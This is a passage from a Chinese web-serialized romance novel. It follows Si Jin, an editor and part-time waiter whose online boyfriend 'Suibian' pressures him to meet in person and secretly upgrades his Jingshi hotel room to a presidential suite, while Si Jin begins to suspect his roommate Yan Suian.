“叫个屁,滚回去接客。”燕绥安反手搭住裴落的肩,把他往包厢门推了推。 “什么接客?这话说的跟老鸨似的。” 裴落啧一声,知道他不高兴了,只能冲着司谨挥挥手:“那下次我去一粟找你玩呀。” 司谨僵硬点点头,没敢应声。 等裴落回了包间,燕绥安才问:“准备回家了?” “没有,我还要和朋友去中心湖玩。”司谨解释,“他们从京市来的,准备玩两天再走。” 燕绥安点点头:“好,注意安全。” 司谨觉得他的反应奇怪,但没有多说,而是又看了眼关上的包间门。 “你和裴先生认识吗?” “嗯。”燕绥安眼神有些不自然挪开,“他是我合伙人,算是朋友吧。” 司谨明白了,想想解释了一句:“裴先生来一粟吃过饭。” 燕绥安:“是吗?难怪你认识他。” 他的表情没有任何破绽,司谨盯了两秒,也打消了心中荒谬的猜想。 果然是他想多了- 周日上午曾平安和陈军回京市,司谨将人送到,犹豫过后还是决定去趟一粟,否则他回到家也是玩,没有别的事情可以做。 只是等到了店里,才发觉今天的气氛有些不太对劲。 刘有意前些时间受了不少处罚,险些被辞退,现在变得安分了很多,见着司谨进了休息室,也不再像从前那样冷嘲热讽。 看见小李唉声叹气,司谨好奇:“怎么了?” “今天早上店长来了。”另一个女员工说,“一进门就开始挑刺,把程姐给骂了一顿,看得人真来气。” 司谨拧拧眉,他知道店长是个脾气不怎么好的中年男人,管着海城的好几家餐厅,平时很少会来他们这里。 “一会儿说员工没培训好,一会儿说差评率多,硬是把错全怪在程姐身上,程姐平时多敬业啊,还要受这种气。” 司谨听完,也有些为程姐鸣不平。 “店长还在吗?” “早走了,说是例行检查,过几天还要来,让我们整改好。” 虽然店里的员工对于老板都没有好印象,但对于程姐却都很肯定,毕竟他们都是程姐招进来的,对她的能力有目共睹。 司谨换好衣服出去,正好看见彭露在前台打单,这会儿客人并不多,瞧见他以后就递了个眼神。 他见状停住脚步,等彭露忙完过来。 “你今天负责大厅?” 司谨点点头。 彭露叹口气,看看两边,压低声音说:“我觉得程姐可能不想在这做了。” “程姐能力这么强,的确去其他地方也能发展很好。”司谨知道彭露跟程姐关系很好。 彭露止不住叹气:“程姐这么好,店长还总是在这挑刺,如果程姐真走了,我以后也不想在这兼职了。” 司谨并不清楚早上具体发生了什么,但看见她们反应都这么大,也意识到彭露并不是随口说说。 “是程姐和你说什么了之后的安排吗?” “那倒没有,原先是透露过很多餐厅在挖程姐,但是程姐未来是想自己开店的,回头她要是真的自己开了店,我也要跟着她一起走。” 司谨听后自然点头,谁料彭露又看向他:“你呢?” 女孩微微抬着下颚,期待地等着他回复。 司谨自然不会让她失望,给了她想要的答案:“如果工资差不多的话,我也觉得跟着程姐好。” “你真是个财迷。”彭露噗嗤一声笑了。 司谨没有否认,毕竟工作就是为了赚钱。 今天的大厅不算太忙,店长走了以后气氛还算不错,他去前台取餐时还听见彭露在和另一个员工讨论大厅靠窗的一位客人。 听说也是来出差暂住在对面酒店的,司谨止不住又想到宋阅,给客人上完菜便抬头朝着窗边看去。 那是个穿着标准衬衫马甲的男人,头发一丝不苟整理得当,面容显得成熟稳重,用餐时并没有玩手机,而是看语.烟向了餐厅一侧窄小的表演台。 周末客人多,餐厅会请兼职来钢琴表演。 正准备回到自己的位置,却见男人微微抬手:“你好。” 司谨离得最近,按照规定便上前俯身:“先生您好,请问有什么可以帮您的。” 男人的目光落在他脸上,笑了笑:“可以点曲子吗?” “可以的。”司谨扫了一眼他的桌号,“您想听什么?” “上一首重复一遍吧。”男人的声音很温和,“我也不知道是什么曲子,但很好听。” “好的。” 司谨起身离开,等待兼职女孩弹完这首曲子,上前和她说完,然后回到了那位客人身边,将问来的曲名告知了他。 “麻烦你了。”男人眼底盛着笑意,“小费怎么打赏?” 一粟出手阔绰的客人很多,司谨习以为常,笑着说:“您可以扫桌上的码选择最底部的小费,上面有我们的名字,我叫小司,刚才为您服务的是……” 男人颔首,拿起桌上的手机扫码。 “非常感谢您,祝您用餐愉快。” 结束了工作,表演的女孩得知后很高兴,跟司谨一起去后台找到程姐,发现那位先生给他们两包括最初服务的店员都打赏了五百块小费。 司谨很高兴,收了程姐的转账便下班回了家,前两天因为有事没能视频上,随便一听说他下班便拨了电话过来。 司谨回房间,一边换衣服一边跟他说今天发生的事情。 “这么大方。”随便的语气有点怪,但很快又高兴起来,“我还没有见过宝宝穿制服,是什么样的?” 司谨没想到他会对这个感兴趣,简单描述了一粟的服务生制服。 “我们的制服和普通服务员不太一样,没有围裙,是衬衫和马甲。” “啊,我都没有见过。” 随便拖长音调,似乎在暗示什么。 司谨现在对他也算是有些了解,猜中他的意思还是假装没听懂,说:“就是最普通的那种。” 可惜随便脸皮厚,当即道:“我想看。” “你怎么对什么都好奇啊。”司谨换好衣服在椅子上坐下,打开笔记本电脑,准备上线看看有没有紧急的作者信息要处理。 “我对你的事情一直都很上心啊。”随便似乎也在工作,对面传来签字的划擦声,“如果你愿意的话,我也可以来一趟海城,然后跟别的客人一样让你进我的包厢,我伺候你吃饭,走的时候给你五星好评,在门口等你下班了带我出去约会。” 司谨搭在键盘上的手指微顿,想象那画面,脸直发红。 “你不要总是想这些事情好不好?” “我每天都在想。” 司谨垂下眼,却没有丝毫动摇。 网恋奔现这种事情,换做从前他想都不敢想,而现在脑补一下,就算这个人是他很信任的随便,好像也不是那么能接受。 “我可能还没有做好准备。”他小声呢喃,一时间有些无助。 “好吧。”随便的语气并没有很难过,但还是能够听出淡淡的失落。 虽然理智告诫自己不要想那么多,可那些念头还是无法遏制。 随便是喜欢他的,相处了两个多月,对彼此也有了解,想要跟他见面再正常不过,毕竟不可能一直隔着网络和喜欢的人相处。 也许随便之前会迁就他,但……如果拒绝的次数多了,他也会受不了吧。 等到那个时候。 司谨双目有些无神地看向已经登录上编辑账号的屏幕,点开聊天框,却没办法聚焦目光去看上面的消息。 心底思绪很乱,他不想打电话了。 “我要忙一会儿。”他小声暗示。 随便不知道是没听懂还是故意的,说:“那我跟宝宝一起工作,正好晚上可以早点回去休息。” 司谨已经拒绝过他太多次了,不好再说什么,只能答应。 手机架在边上,能听见随便那边的细微动静。 只是还没有安静多久,对面就传出一声轻笑。 司谨刚回复完比较着急的消息,这会儿刚松口气,听见怔了怔便问:“怎么了?” “宝宝有看最近新上的电影吗?叫什么错爱。” 这部电影最近挺火的,今天司谨还听见彭露她们在讨论,“没有看,讲的什么?” 随便:“女主找人打听了喜欢学长的游戏账号装偶遇,一路攻略成功在一起,奔现以后发现来的人是男主,才反应过来之前搜错了账号,挺放松的爱情电影。” “还挺有意思的,女主角发现的时候是什么反应啊。”司谨没怎么看过这种类型,对这个问题有些好奇。 “我只看了预告,还不清楚。”随便语气意味深长,“只是看完就联想到之前宝宝的账号被别人用的事情。” 他忽然旧事重提,惹得司谨瞬间寒毛竖起,紧张道:“对不起嘛,你还因为这个生气吗?” 随便没有说话,他就觉得心虚,又找补着解释。 “我去年心情不是很好,所以朋友推荐我下载一个访心找人聊聊天,但是我工作太忙了,没有时间去筛选适合的聊天对象,才让朋友帮我的,你也知道……这个软件里面有很多人都目的不正。” “嗯?” 生怕他不信,司谨忙点开后台的陌生人屏蔽私信栏,截了一张图给他。 “你看。” 页面上全都是屏蔽词,比司谨后台误收的那些黄色稿件还露骨。 “这些人有病吧!”随便生气的声音传出来。 司谨:“一开始我不知道怎么用,很多这种评论都显示出来。” “那宝宝现在还跟别人聊天吗?”随便只恼了一阵,忽然间抓住重点,将其他问题都抛之脑后。 司谨忙道:“当然没有,我已经关闭匹配模式了。” “那还差不多。”随便哼哼两声。 感觉他不生气了,司谨才松口气,又解释说:“那件事情是我朋友不对,可能是因为你太有魅力了,所以他没忍住……” 这话间接又夸了随便,倒是让对面的人更生不起气来。 “这种时候倒是知道说好话了,你知不知道我那时候看见你有多高兴,还故意把头像换成腹肌照片想要吸引你,结果越聊越觉得不对劲。”他颇为不满说完,还不忘替自己解释,“我现实中可不是这么自恋骚包的人。” 司谨愧疚的同时忽然察觉到什么。 “不过……你怎么会知道我朋友不是我呢?” 他说完,下意识就蹙了蹙眉。 这次对面的人顿了好几秒,才说:“因为觉得你不是那种热情开放的人,你的照片很乖,主页介绍和资料也写得很认真,反正我就是知道。” 司谨欲言又止,却听对面笑了:“说不定是我认识现实中的谨宝呢?” 此话一出,一簇电流炸上头皮,让司谨打了个激灵,下意识小声道:“你不要开这么恐怖的玩笑。” “恐怖吗?为什么?” 司谨也说不出来:“就是不要这样讲,感觉很吓人。” “为什么?”随便还是重复。 “我也不知道。”司谨自己也不懂,只能试着让他理解,“就好像我忽然说我认识现实中的你,你肯定也会觉得很可怕,好像被人盯着一样。” 随便:“不会呀,我会很高兴的。” 司谨:“……” 他哼一声,居然有点生气:“你不懂。” “好啦,我以后不开这种玩笑就是。”随便声音软了下来,“反正宝宝总有一天会答应跟我见面的,我不着急。” 司谨松口气,端起水杯喝了一口,以此缓解还未消散的紧张情绪。 “不过宝宝,如果我们之后见面了,你发现我不是你喜欢的那种类型,你会不会直接跟我分手啊?” 随便又开始郁闷了。 司谨认真思考片刻,说:“不会吧,我觉得你应该很好啊。” 随便有钱多金还有自己的事业,看照片身材很好,应该也不会丑,而且性格好相处又温柔,应该是很多人都喜欢的类型。 他还好奇这么优秀的随便为什么会对他有意思。 “如果我和宝宝现实中认识就好了,说不定到时候见了面会更加好接受。”随便随口道。 司谨脑海中过了一遍身边认识的人,想也没想便道:“才不要。” “为什么?”随便声音小了点,“宝宝身边没有那种有好感的人吗?” 司谨觉得他今天很奇怪,下意识觉得他又在隔着屏幕吃飞醋,便毫不犹豫做出了回答。 “没有的。” “……” 第28章 那天的通话结束以后,司谨总觉得有些不对劲,随便好像一直在纠结见面的事情,而且说的那些话也奇奇怪怪的,仿佛带着某种暗示。 他止不住有些担忧,竟然觉得随便可能不是简单问问而已,可……难不成随便真的认识现实里的他吗? 脑海中飞速闪过同事和朋友们的脸,甚至连公司楼下偶尔在门口摇椅晒太阳的咖啡店老板的脸也浮现在眼前,让他感觉自己精神太紧绷了。 但是这些人显然各方面都和随便不太符合,至少如果在随便没有欺骗他的情况下,这么好的身材还是难找的。 脑海中再次闪过那张腹肌照,可这次却和某次在客厅看见的健身侧影重叠了。 猛地打了个激灵,司谨在心中暗骂自己胡思乱想。 怎么可能是这样?燕绥安这种性格也不像是会在网上跟别人谈恋爱的,更不会追着人喊宝宝。 他不住暗骂自己想象力丰富。 等晚上下了班回到家,进门就听见客厅方向传来低低的喘息声,司谨脚步停顿一下,换了鞋探进脑袋去看,就发现是燕绥安在客厅做俯卧撑。 似乎是因为他上次说的那些话,燕绥安今天穿着一件黑色的背心,宽阔结实的肩膀随着用力绷紧,肌肉轮廓健壮而不失美感,让司谨忍不住多看了两眼。 燕绥安的身材好好啊,不知道腹肌怎么样。 脑海中莫名其妙冒出这个想法,让他顿时想给自己一拳,好能清醒清醒。 肯定是这段时间跟随便聊天多了,受到了他的影响,思想也紧跟着也不正经起来。 可是他又想起来之前也见过燕绥安裸着上身的模样,只是他那会儿秉持着非礼勿视的准则,并没有去细看。 “回来了?” 燕绥安的声音让司谨回过神。 他看见燕绥安站在面前,眉头微微蹙着,肌肉轮廓因为刚运动过的缘故格外明显,呼吸声要比平时更重些。 “嗯。”司谨有点不好意思看他,只能眨眨眼错开视线,“你好厉害啊,每天都运动。” 燕绥安不以为然道:“习惯了,前段时间工作太忙没时间,今天抽了空就练练。” “你精力真旺盛。” 司谨每天下了班就只想洗个澡躺在床上追剧看书,没有更多力气做别的事情了。 燕绥安不置可否,说:“你平时工作久坐,可以简单拉伸一下。” “好。”司谨下意识答应,然后转了转脖颈,莫名其妙就被他打开了话匣子,“其实我之前也想的,有的时候总是觉得脖子和肩膀很酸。” 他说完就觉得自己又多话了,可燕绥安却蹙了蹙眉,朝着他走来,手搭在他肩上捏了捏:“这里酸吗?” 刚运动完,他手上的温度很高,司谨的身体有点敏感,一下就觉得大半个肩膀都酥麻了。 “嗯,有一点。” 被燕绥安捏住的地方泛着酸疼,那简单的揉捏居然让他感觉到了些许舒服。 可是他觉得跟燕绥安贴这么近不太对,又连忙说:“我偶尔会去按摩一下,但是最近没空,所以……” “我帮你按按?” “啊?” 司谨愣住了。 燕绥安垂眸跟他对视,没什么情绪说:“我妈经常肩膀不舒服,最近我在网上学按摩的方法,准备有空回去帮她按,但不知道有没有效,你帮我感受一下?要是有不好的地方,我好再调整方法。” 他都这么说了,司谨也不好拒绝,迷迷糊糊就被他带到餐桌边上坐下。 脱掉了厚重的外套,他里面穿着之前随便给他买的浅蓝色羊毛衫,肩膀单薄,脖颈修长,体态很笔直。 “这样坐着可以吗?”司谨看不见身后的人,莫名有点紧张。 “嗯,可以,你放松一点身体。” 燕绥安有些低哑的声音从后面传过来。 宽大修长的手掌落在他肩膀上,不轻不重揉捏那块酸疼的肌肉,手指有力轻轻拨动后颈的筋,倒是真让司谨觉得舒服了不少。 “这样可以吗?” 羊毛衫是圆领的,燕绥安按摩时火热的手指会触到司谨的皮肤,留下阵阵酥麻。 司谨很想缩脖子,但又怕阻碍了他按摩,只好闷声回答:“可以的,你还挺专业的。” “那就好。” 燕绥安说完,却并没有松手,而是继续给他按摩。 屋子里一片安静,司谨逐渐感觉到不自在,他原本以为燕绥安在确定自己的手法没有问题以后就会放他走,可是这会儿却好像是给他按上瘾了似的,没有任何要松手的意思。 虽然说他被按得很舒服,但就是不太习惯。 “要不——” 他正要开口,燕绥安却忽然道:“你右肩挺硬的,平时要多活动活动,坐久了得起来抬抬手。” “好。”司谨又把自己的话憋了回去。 “久坐的人腰都不好,你平时会腰酸吗?” 司谨耳朵一热,还没等他说,就知道他打的是什么念头了。 “一般不会。” “好吧。” 不知道是不是司谨的错觉,燕绥安的语气里好像带了点失望。 又按了一会儿,司谨总算鼓起勇气:“可以了吧,我觉得不痛了。” “嗯。” 燕绥安总算收了手,还顺便帮他把揉乱的领口整理好。 司谨松口气站起身,表情不太自然:“谢谢你,你的手法很专业的,封阿姨知道你特意为她学按摩,肯定会很感动的。” 何止是感动,自从上一次撞见封阿姨在客厅对燕绥安说的那些话以后,他就知道封阿姨对自己这个儿子有多看重了,说不定会直接感动到热泪盈眶。 燕绥安勾起唇角笑笑:“不用谢。” 回到房间,司谨长长舒了口气,活动一下被按到发热的肩膀,的确感觉舒服了很多。 可他还是不希望有下次,也不知道因为什么,和燕绥安待在一起的时候他总是觉得不太舒服- “室友帮你按摩?” 洗过澡昏暗的房间内,司谨盯着阅读器看书,放在边上的手机里传出随便的古怪的声音。 “嗯,他的手法还挺专业的,说是学会要给妈妈按。”司谨说着下意识动了动酸软的右肩,莫名又回忆起燕绥安温度过高的手掌。 “挺有孝心。”随便含糊说了这一句。 司谨看到喜欢的地方,长按开始留评,扫了一眼亮着的手机屏幕,忽然又回想起来这些天一直萦绕在他脑海中的荒唐猜想。 “他长得还挺帅的。” 他忽然冒出这么句话,就连自己都吓了一跳。 对面的随便沉默两秒,很冷地笑了声:“宝宝,你在我面前夸别的男人合适吗?” 随便的反应很正常,虽然听着是不太高兴,可却让司谨放下心来。 “我不是那个意思,只是感叹而已。” 随便说:“说不定我比他更帅呢。” 他每次说完这种话,下一句接的往往又是旁敲侧击提见面的事情,司谨立马切换了话题:“我手下那个作者的书果然爆了,下个月的提成会多很多,我在纠结要不要跟朋友一起出去玩。” “……” 随便哼笑一声,显然是看穿了他拙劣的躲避。 “去哪玩?” 司谨琢磨片刻,虽然觉得不该说,但还是回答:“去京市。” “我就在京市。”随便幽幽提醒了他一句。 “我知道啊。”司谨装傻,“那你有没有好玩的地方推荐呢?” 随便的呼吸沉了沉,不说话了。 司谨心虚地留着评论,好不容易发出去了,却看不下去之后的内容,目光忍不住朝边上瞟。 对面很久都没有声音传来,他最后还是没能克制住,拿起手机凑近去听。 有很细微的窸窣声,但是随便却不说话。 “你生气了吗?”司谨犹豫片刻,还是决定跟他解释,“我真的还没准备好,跟你聊天很开心,可是想到要见面,我总是觉得好紧张。” 随便沉闷的声音传出来:“没关系,你开心就好。” 险些被他幼稚的话逗笑,司谨唇角微扬,软声道:“下次行不行?等我下次去京市,就和你见面。” 这是他这段时间经过深思熟虑做出的决定,本来没有打算这么快和随便说,但今天时机正好。 谁料随便却是冷哼一声:“你下次什么时候来?” 这…… 司谨没办法承诺:“我也不知道。” “宝宝,你是在给我画大饼吗?”随便幽幽说完,当即做了决定,“这样吧,等我下次去海城,宝宝就跟我见面。” 司谨拧住眉,并不赞同:“可是你想来就来,说不定我答应完,你明天买张机票就飞来了。” “我不会。”随便也着急了,“那这样,我承诺,至少等宝宝从京市回来的三天内,我不会去海城。” 司谨简直觉得他在开玩笑:“太快了。” “那一周内。” “……” 司谨没见过这么会讨价还价的人,三天和一周也没有差多少。 察觉到他不情愿,随便只好又换了说辞:“那半个月,已经很久了宝宝。” 司谨犹豫良久:“一个月吧。” 随便深吸口气:“宝宝想憋死我吗?” “可是一个月很快就过去了,而且等到那个时候海城的温度也没有那么低,我们正好可以出去玩。” 虽然知道这是司谨刻意的诱惑,随便却还是不自觉上了当:“去哪里玩?” “中心湖有游船,很有名的,我在这里上学工作待了这么多年都还没有去划过船,到时候你来了我们就可以一起去。” 随便没有说话,显然是犹豫了。 司谨抓着手机,继续加大诱惑:“我原本是想自己去玩的,可是游船最好是要两个人一起,我的朋友都不喜欢玩这些,所以我一次都没有去过,你平时健身力气大,肯定能比别人划得都快,一个月以后开春了温度适宜,风景也不错,我们可以在船上赏花看景。” 这话跟哄骗幼儿园小朋友的话术差不多,但随便听完不自然地咳了咳。 “那当然,我肯定不会被别人比下去的。” 司谨忍不住笑起来,由衷夸赞:“你真的好可爱。” 这话落在随便的耳中就等同于是撒娇示好了,他就算再不情愿,这会儿也没了脾气,只得答应下来:“那好吧,就一个月。” 终于成功说服他,司谨放下心来- 风浪向来是每月十号发工资,到账后司谨将一部分存起,给二姐转了一千,其他的用作自己的生活费和日常开销。 收到钱,二姐当即给他打电话,但他没敢接,只听了电话自动挂断以后二姐发来的语音。 “我前两年工作剩下还有点闲钱,你别给我打了,等我拿了证找你玩去。” 司谨回复了个ok,发现先前买给燕绥安的浴袍也终于到了,预售的时间长到他都快要忘记这件事情,等回到家将外包装拆了,他知道这些天燕绥安都没有回家,便将其放在了客厅的茶几上,顺便给他发了一条消息告知。 他这周特意请了假不去一粟兼职,收拾好东西周六一大早便坐上了前往京市的高铁,去和陈军和曾平安会和。 平时工作很忙,他出去玩的机会很少,本来想要和人分享,可又不太敢和随便说自己的具体行程,担心随便嘴上答应好好的,最后跑去高铁站接他,于是也只是在落地见到陈军两人以后才给随便拍了照片。 北极生活的小熊猫:【已经到了,现在出发去玩】 因为时间不太多,所以他只带了一个轻便的背包,就算背着玩也不会感觉到累。 “可惜我的车今天限号,咱们只能坐地铁。”曾平安是话最多的,这会儿搂着司谨一个劲吐槽自己发视频遇见的奇葩网友。 陈军倒是稳重,时不时拎一把他两,避免他们光顾着说话走错路。 “对了,你不知道吧,李畅也来京市出差了。” 听见这个名字,司谨怔了怔,摇摇头说:“我和他没有联系。” 当初宿舍里头六个人,两个都在外面租房,回来的时间很少,平时宿舍里头只有他们四个。 曾平安是个活宝,属于大大咧咧听不懂好赖话的那种,跟谁都能聊上几句,而陈军性格成熟,也好相处,只有李畅是司谨不太喜欢的,他总觉得李畅这个人心机很重,说起话来有意无意就带着炫耀的意味,相处起来比较辛苦。 “他听说你也来京市,约咱们晚上一起吃饭呢。” 司谨犹豫着点点头,没有驳他们的兴致:“好。” 到了景点,来过几次的曾平安掏出手机开始拍素材,陈军自然走在司谨身边,说:“如果你不想和李畅一起吃饭,可以让平安单独跟他一起,咱们去别的地方吃。” “没有不想的。” 司谨觉得奇怪,他明明没有表现出任何情绪,可是陈军总是能很快感受到身边人的情绪变化。 “平安神经大条察觉不到,他凑这个局你也别怪他。”陈军笑笑,“李畅这个人是有点心高气傲,你有什么不舒服的都可以直接和我说,毕竟你好不容易来一趟,我们都是以你为主。” 司谨不由得感动:“谢谢,但是真的没关系,反正都这么久没见了。” 陈军闻言也没再强求,面露欣慰:“感觉你出来工作以后是比以前更好了,平时可以放轻松一点,别那么绷着。” 他们刚分到一个宿舍的时候,他对司谨的印象就很深刻。 瘦瘦小小的青年,穿着灰扑扑的旧衣服,一双眼睛明亮漂亮,但看见人的时候总是透着讨好和畏惧,好像担心别人讨厌自己,所以那时候也理所应当成了李畅欺压的对象。 李畅这个人坏的不算彻底,至少平时对司谨还是和颜悦色的,只是有什么忙都习惯性去找司谨,知道自己说些好话就能获得便利,所以到后面也变得很随性,几乎养成了习惯。 陈军当时看不下去,私底下说过他几次,李畅答应好好的,但还是随便使唤司谨。 毕业的时候他曾担心过司谨,虽然四年时光过去,可司谨好像始终没有太大的变化,还是那样听话胆怯。 不过这两次的见面,他感觉到司谨的性格开朗外向了许多,也终于放心下来- 一天玩下来,三人都累得不行,去吃饭的路上就连曾平安都没了那股活跃的劲,显得特别蔫巴。 到了吃饭的地方,大老远瞧见穿着正装的男人已经坐在了定好的餐桌边上,见着他们立马露出笑容。 “好久不见啊。” “你小子现在倒是有模有样,衬得我们跟小学生似的。”曾平安看着他身上的西装,啧啧两声。 李畅笑着摆摆手:“工作需要。” 说完又看向陈军,打过招呼目光就落在了司谨身上。 李畅的目光上下扫视一道,故意露出了惊讶的表情:“属司谨变化最大吧,我第一眼都有点没认出来。” “我们小司现在也是会打扮了。”曾平安招呼他们落座。 陈军主动和司谨坐在另一侧,对面的李畅却还没说够,哈哈大笑。 “打扮一下真有精神,小司身上这衣服是YS的吧?他们家衣服可不便宜。” 司谨穿的外套是随便买的,很有设计感的夹克外套,也是随便强烈要求他穿来京市的,理由是万一路上偶遇就能认出来。 他没觉得会那么巧,所以就乖乖穿来了。 这会儿听见李畅的话,下意识点头:“应该是。” 曾平安不想聊什么衣服,打断了李畅想要接下去的话,开始问他的近况。 李畅毕业以后找关系进入了大厂,好不容易等到有人主动问,当即便开始了炫耀。 司谨在边上听着,只觉得这件餐厅的菜式味道很不错。 几人开始谈天说地,他偶尔插几句,却没想到很快话题又绕到了自己身上。 “当初我就说司谨毕业以后前途一片光明吧。”李畅喝了两杯,说话放肆了不少,“当初咱们窝在宿舍里咸鱼的时候,他大热天还在外头跑兼职,这毅力真不是凡人能赶上的。” 司谨看了他一眼,没打算接话。 这会儿反而是曾平安开口了:“司谨现在发展是挺好的,我平时都在风浪网站看书呢,还想着你帮我催更。” “风浪?”李畅脸色变了变,“那确实是大公司。” 曾平安没理会他,同司谨说了自己喜欢的作者,知晓他就是那作者的责任编辑后又是一阵激动,连忙喊他帮自己要本to签书。 司谨被他逗笑:“好,我回头帮你问问。” 这也不是什么大事,他工作比较认真有耐心,所以跟作者的关系都很好。 吃过饭,曾平安和陈军跑一天也累了,计划着今晚不回学校,直接去司谨休息的酒店也定个房间,晚上还能在一起聊聊天。 李畅故作随意问了酒店名字,得知就在附近,忽然又找到了卖弄的机会。 “我认识他们酒店的经理,兴许还能有折扣呢。” “厉害啊,那就麻烦了。”曾平安毫不犹豫揽着他往酒店里头走。 李畅不甚在意摆摆手,又转头看向司谨,笑说:“司谨,你好不容易出来一趟,我让他们给你升级个房型,别总这么委屈自己。” “不用。”司谨皱皱眉。 “别拒绝了,你当初帮我干了这么多事情,又是买饭又是洗衣服的,不过升级个房型而已,不是什么大事。”李畅戏谑道,“又不用你垫钱。” “……” 但等几人抵达了酒店,前台却表示大床和双人房都已经满了。 曾平安搭着陈军的肩膀,扭头看向李畅。 司谨犹豫片刻准备把自己的身份证递过去:“算了,我们凑合一下也可以。” 可还没过去,就被李畅给拦住了。 “别,我来处理就行。”他脸上挂不住,对前台也没了好语气,“你们陈经理呢?我跟他认识。” 前台面露歉意:“不好意思先生,原先的大堂陈经理已经调任了,目前去了其他地区。” 后面三人面面相觑,最后陈军也犹豫着劝李畅:“没事,这种大酒店周末大床房满了也正常,我们去找找附近有没有小宾馆凑合一晚也行。” 李畅本就是个自尊心强的人,刚才把事情都包揽在自己身上,这会儿脸上挂不住,脸色难看。 “怎么可能一间房都没有?我要投诉。” “诶行了行了。”曾平安都看不下去了,上去揽住他的肩膀怕他真在前台闹起来,转头看向司谨,“司谨,你先取房卡吧,一会我们去你房间坐坐,聊聊天。” 司谨点头,拿上身份证递给前台,不好意思地笑笑:“不好意思,他有点喝醉,语气不太好。” 前台也没计较,给他查房间信息。 “司先生,您预定的是总统套房,入住共一晚,是吗?” 司谨听着后面的动静走了神,下意识点头,可紧接着就意识到不对:“我定的是大床房。” 那还是他提前预定的,价格要比平时便宜很多。 可前台却礼貌笑道:“后台显示您预定的是总统套房,这边有一位姓随的先生致电替您办理了升房。” 司谨愣住,感觉有点儿不真实。 随便怎么知道他住在这家酒店的? “没问题的话这是您的房卡,房间在三十八楼电梯出门左转,祝您入住愉快。” 后面还有人在排队,司谨没好意思一直挡着,迷迷糊糊拿着房卡离开,一回头就见曾平安和陈军朝他走了过来,后面还跟着个表情不好看的李畅。 “实在不行你们去我那好了,我定的是尊享大床房,还有个沙发空出来。” 他话音未落,曾平安眼尖看见房卡上的信息,猛地惊了。 “我去,总统套!司谨你这么发达?” 司谨忙解释:“这是朋友定的,不是我自己。” 可说了也是徒劳,曾平安还是压制不住脸上的震惊:“我们司谨也是有人脉了哈,看来今晚不用睡小宾馆了。” 李畅有些不敢相信,过来抽走房卡看了又看,最后硬是跟着他们上了楼,被富丽堂皇的套房客厅给惊到两眼发直。 司谨看着房型图,半天反应过来:“这里好像也只有一张床。” 不过床和沙发都非常大,曾平安和陈军在里头转了一圈都走累了,这会儿往沙发上躺,从落地窗往下眺望大半个京市夜景,止不住发出喟叹。 “从没在这个角度往下看过。” 李畅被他两拉着去沙发上坐,脊背挺直,浑身都不自在。 不过司谨压根没心思再去管李畅心里在想什么,他只想赶紧给随便打个电话,问问他这到底是怎么回事。 第29章 可随便就像是早早料到他会这么做,电话怎么也打不通,只有半小时前访心发来的一条消息,代表着他早做好了准备。 随便:【宝宝好好休息,这家酒店的早餐味道很好,记得尝尝~】 司谨几乎能想象出他说这句话时期待含笑的语气。 盯着消息看了一会儿,心中那股紧绷的感觉也逐渐散去,他有些无奈地松了口气。 北极生活的小熊猫:【谢谢你】 起初他还想问随便是怎么知道自己住在这的,但想到先前他犹豫住宿时随便给他推荐了几家酒店,又觉得这不是什么好惊讶的事情了。 “诶你这就走了? 外头传来曾平安惊讶的声音,司谨闻言绕出去,就看见李畅正朝着门口走去,脸上的笑容略显僵硬。 “你们玩了一天肯定也累了,我就不打扰。” “行,你路上小心,咱们下次抽了空再好好聚。”陈军比曾平安更会看人脸色,一把拉住还想要挽留的曾平安,冲着李畅招了手。 司谨看着他两懒懒躺着,也朝李畅点了头。 可对方的表情却很不自然,含糊答应后立马转身离开了。 关上门,司谨抬起头望向偌大的套房,还是有点不习惯,这里的装修太豪华了,灯也非常亮堂,总让人觉得不太真实。 “司谨快来快来!” 等司谨闻声找到他,才发现他在半开放浴室里头找到了一个超大的浴缸。 “这也太大了,咱们三都能一起泡了。”曾平安没心没肺地说。 司谨:“……” 陈军也沉默两秒:“你要泡自己泡,你以为大澡堂呢。” “行,你们都嫌弃,那我自己躺。”他说完就开始自己研究放水。 司谨觉得有些好笑,但他毕竟也是第一住这么高级的房型,和陈军出去后便也忍不住研究了一通,准备洗漱完三人一起看部电影。 “你看见刚才李畅走的时候那表情没?”陈军还是忍不住说。 司谨眨眨眼,忍不住想笑。 陈军看见他的表情,一下子就憋不住了:“今天估计真让他受挫了,装也没装到,估计半年都不会再联系我们。” 他们对李畅这人的脾气是最了解的,今天估计就准备对着司谨开涮,结果压根没成功。 “不过……真不是你自己订的这房间?”陈军虽然知道司谨不是好面子的人,但下意识还是问了这么句,“这地方真太贵了。” 司谨摇摇头:“真不是,是我……男朋友帮我定的。” 此话一出,陈军面露惊讶,但转瞬便接受了:“你交往的对象原来是男的。” “嗯。” “难怪……” 看见他表情不太对,司谨好奇:“难怪什么?” 陈军靠在沙发上,若有所思道:“我以前还真没察觉,所以你那时候跟谢宇珩该不会也。” “没有的。”司谨被他吓一跳,连忙解释,“跟他就只是朋友。” 他说完反而轮到陈军露出纳闷的表情了。 “真的假的?那是我误会了。” 司谨不太理解:“我跟他那时候关系也不是很好啊,后来还闹掰了呢。” “我刚才想到还以为你们之前是分手了。” 陈军面露尴尬。 司谨也很尴尬:“没有,我是第一次谈恋爱,以前脑子里都没这件事情。” 虽然身边人和他提起很多次,这个年纪可以找个合适的对象了,可他从来没想过,也不敢去想,跟人相处对他来说是一件很麻烦也很紧张的事情。 陈军听了他的解释便没再说什么,可等到看完电影去床上休息,司谨却还忍不住去回忆陈军的话。 从前他其实也听过学校里的一些风言风语,但是从来没有放在心上,现在想起来……他当时的确和谢宇珩走得太近了,而且最后还闹成那样。 止不住叹口气,他翻个身,隐约间能听见外头的走动声响。 陈军和曾平安都是夜猫子,虽然出去玩了一天浑身疲惫,但还是舍不得早点休息。 起初司谨以为这里只有一间房,走动了一圈才发觉是双卧室,两人在隔壁休息,曾平安时不时就跑进来跟他分享自己的新发现,等到他眼睛都快睁不开了,才心虚离开。 酒店的床很软,司谨原本还想给随便打一个电话,可是对面一直没有接,他不知不觉间也沉沉睡了过去。 第二天刚睁开眼,就感觉到床上有什么东西正在嗡嗡震动。 摸到手机电量,迷蒙着眼就接通了电话。 “喂?” 脑子还不清醒,声音又轻又软。 “宝宝,我吵醒你了吗?” 司谨愣怔一下,脑海中的睡意忽然间就散去了。 “早,我刚醒。” 随便轻笑一声:“早上好,让酒店给你送早餐吗?” 司谨微微坐起身来,看着窗帘自动打开,这才恍惚反应过来情况。 “我好饿啊。”他有点迷糊地说了这么一句。 “好,早餐马上就到。” 他声音温柔,可是司谨却觉得紧张:“你该不会……” 